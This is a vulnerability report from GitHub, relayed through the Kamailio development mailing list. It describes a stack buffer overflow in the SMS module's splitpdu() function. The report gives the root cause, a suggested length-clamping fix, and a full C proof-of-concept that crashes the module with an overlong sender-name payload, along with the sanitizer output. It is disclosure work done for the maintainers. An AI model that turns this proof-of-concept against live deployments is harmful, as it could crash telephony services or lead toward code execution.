kost created an issue (kamailio/kamailio#4529)

## Summary
`splitpdu()` copies the quoted sender name from the PDU into `sms->name` using 
`memcpy(..., end - start)` without bounding the length to `SMS_NAME_LEN` (64). 
An overlong sender field in a received PDU over
flows the stack buffer, leading to a crash (and potential code execution) when 
processing SMS/CDS data.

## Impact
- Stack buffer overflow in the SMS decoding path (Kamailio SMS module), 
exploitable by a crafted PDU with an oversized quoted sender name.
- Consequences: process crash; code execution is theoretically possible 
depending on toolchain/hardening.

## Versions affected

Tested versions:
- kamailio-6.0.4
- latest git master

```
$ git rev-parse HEAD
0bed0b960421a7718c9d4bdb276842f69574bf29
```

## Root Cause
- In `splitpdu()` (src/modules/sms/libsms_getsms.c:434), the memcpy length is 
derived from the source substring (`end - start`) with no check against the 
destination size (`SMS_NAME_LEN`), so attacker-controlled sender names longer 
than 63 bytes overflow `sms->name`.

## Reproducing

Since attack would come from hardware/network, it is hard to reproduce this 
without proper hardware, but we can simulate with making direct library calls.
For that purpose we're using direct library call to:
/* External from libsms_getsms.o */
int cds2sms(struct incame_sms *sms, struct modem *mdm, char *s, int s_len);

Compile the PoC (poc_108_sms.c):

KAMALIOSMS=build/src/modules/sms/CMakeFiles/sms.dir/
 gcc -fsanitize=address -g -O0 poc_108_sms.c  $KAMALIOSMS/libsms_getsms.c.o 
$KAMALIOSMS/libsms_charset.c.o $KAMALIOSMS/libsms_modem.c.o 
$KAMALIOSMS/libsms_putsms.c.o  -o /tmp/poc_108_sms

Run proof of concept:

$ /tmp/poc_108_sms
about to call cds2sms() with overlong sender name...
=================================================================
==2143228==ERROR: AddressSanitizer: stack-buffer-overflow on address 
0x707305d002b0 at pc 0x707307cfb303 bp 0x7ffc84853220 sp 0x7ffc848529c8
WRITE of size 1024 at 0x707305d002b0 thread T0
    #0 0x707307cfb302 in memcpy 
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x60ebf33543d1 in memcpy 
/usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
    #2 0x60ebf33543d1 in splitpdu 
/htp/kamalio/kamailio-6.0.4/build/src/modules/sms/libsms_getsms.c:435
    #3 0x60ebf335df73 in decode_pdu 
/htp/kamalio/kamailio-6.0.4/build/src/modules/sms/libsms_getsms.c:495
    #4 0x60ebf335df73 in cds2sms 
/htp/kamalio/kamailio-6.0.4/build/src/modules/sms/libsms_getsms.c:553
    #5 0x60ebf3353c0b in main /htp/kamalio/kamailio-6.0.4/poc_108_sms.c:102
    #6 0x70730782a1c9 in __libc_start_call_main 
../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x70730782a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x60ebf33537b4 in _start (/tmp/poc_108_sms+0x67b4) (BuildId: 
03dc9b956bf07e12359f8a1fa66d16e297799ad3)

Address 0x707305d002b0 is located in stack of thread T0 at offset 688 in frame
    #0 0x60ebf33539f2 in main /htp/kamalio/kamailio-6.0.4/poc_108_sms.c:71

  This frame has 3 object(s):
    [32, 688) 'sms' (line 96)
    [816, 1568) 'mdm' (line 97) <== Memory access at offset 688 partially 
underflows this variable
    [1696, 2743) 'payload' (line 75) <== Memory access at offset 688 partially 
underflows this variable
HINT: this may be a false positive if your program uses some custom stack 
unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow 
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
 in memcpy
Shadow bytes around the buggy address:
  0x707305d00000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x707305d00280: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x707305d00300: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x707305d00380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x707305d00500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2143228==ABORTING


## Recommended Fix

- Bound the copy length to the destination buffer size (e.g., clamp to 
`SMS_NAME_LEN - 1`), perform the copy with the clamped length, and 
null-terminate. Apply the same pattern to other PDU-derived copies (e.g., SMSC) 
that use source-derived lengths. A minimal fix at line ~434 would:
  - compute `len = end - start;`
  - `if (len >= SMS_NAME_LEN) len = SMS_NAME_LEN - 1;`
  - `memcpy(sms->name, start, len); sms->name[len] = 0;`

## Prereqs

The vulnerable path (cds2sms() -> splitpdu() on CDS payloads) is only exercised 
when sms_report_type is enabled for CDS reports. Specifically, the admin must 
load sms module:

```
loadmodule "sms.so"
```

and set:

```
modparam("sms", "sms_report_type", 2)
```

## poc_108_sms.c 

```
#include <stdio.h>
#include <string.h>
#include <termios.h>

/* Minimal mirror of Kamailio sms structs/constants (copied from sms_funcs.h) */
#define MAX_MODEMS 5
#define MAX_NETWORKS 5
#define MAX_CHAR_BUF 128
#define TIME_LEN 8
#define DATE_LEN TIME_LEN
#define SMS_NAME_LEN 64
#define SMS_SENDER_LEN 32
#define SMS_ASCII_LEN 500
#define SMS_SMSC_LEN 32

struct modem
{
        char name[MAX_CHAR_BUF + 1];
        char device[MAX_CHAR_BUF + 1];
        char pin[MAX_CHAR_BUF + 1];
        char smsc[MAX_CHAR_BUF + 1];
        int net_list[MAX_NETWORKS];
        struct termios oldtio;
        int mode;
        int retry;
        int looping_interval;
        int fd;
        int baudrate;
        int scan;
        char to[MAX_CHAR_BUF + 1];
};

struct incame_sms
{
        char sender[SMS_SENDER_LEN];
        char name[SMS_NAME_LEN];
        char date[DATE_LEN];
        char time[TIME_LEN];
        char ascii[SMS_ASCII_LEN];
        char smsc[SMS_SMSC_LEN];
        int userdatalength;
        int is_statusreport;
        int sms_id;
};

/* Stub logging symbols referenced by LM_* macros inside libsms_getsms.o */
int log_stderr = 1;
int log_color = 0;
void *log_prefix_val = 0;
volatile int dprint_crit = 0;
struct log_level_info
{
        int level;
};
struct log_level_info log_level_info[8];
int sms_report_type = 0;
int get_debug_level(char *mname, int mnlen) {(void)mname;(void)mnlen; return 1;}
int get_debug_facility(char *mname, int mnlen) {(void)mname;(void)mnlen; return 
0;}
int my_pid(void) { return 1234; }
int process_no = 0;
void dprint_color_reset(void) {}
void dprint_color(int level) {(void)level;}
void _ksr_slog_func(void *ld, const char *fmt, ...) {(void)ld;(void)fmt;}
void _km_log_func(int level, const char *fmt, ...) {(void)level;(void)fmt;}
void _km_err_func(const char *fmt, ...) {(void)fmt;}

/* External from libsms_getsms.o */
int cds2sms(struct incame_sms *sms, struct modem *mdm, char *s, int s_len);

int main(void)
{
        /* Construct a CDS-like buffer with two leading CRLFs and an overlong
         * quoted sender name that will overflow sms->name (64 bytes) when
         * splitpdu() runs inside cds2sms(). */
        char payload[] =
                        "xxx\r\n\r\n"
                        "\"IGN\",\""
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                        "\",rest\r\n";

        struct incame_sms sms;
        struct modem mdm;
        memset(&sms, 0, sizeof(sms));
        memset(&mdm, 0, sizeof(mdm)); /* mdm.mode=0 forces splitpdu path */

        printf("about to call cds2sms() with overlong sender name...\n");
        int ret = cds2sms(&sms, &mdm, payload, (int)strlen(payload));
        printf("cds2sms returned %d\n", ret);
        return 0;
}
```

## Additional information

```
$ ./build/src/kamailio -v
version: kamailio 6.0.4 (x86_64/Linux)
flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, 
USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, 
F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, 
USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, 
TLS_PTHREAD_MUTEX_SHARED
ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 
262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB
poll method support: poll, epoll_lt, epoll_et, sigio_rt, select.
id: unknown
compiled on 17:17:18 Dec 17 2025 with gcc 13.3.0
```

-- 
Reply to this email directly or view it on GitHub:
https://github.com/kamailio/kamailio/issues/4529
You are receiving this because you are subscribed to this thread.

Message ID: <kamailio/kamailio/issues/[email protected]>
_______________________________________________
Kamailio - Development Mailing List -- [email protected]
To unsubscribe send an email to [email protected]
Important: keep the mailing list in the recipients, do not reply only to the 
sender!

Reply via email to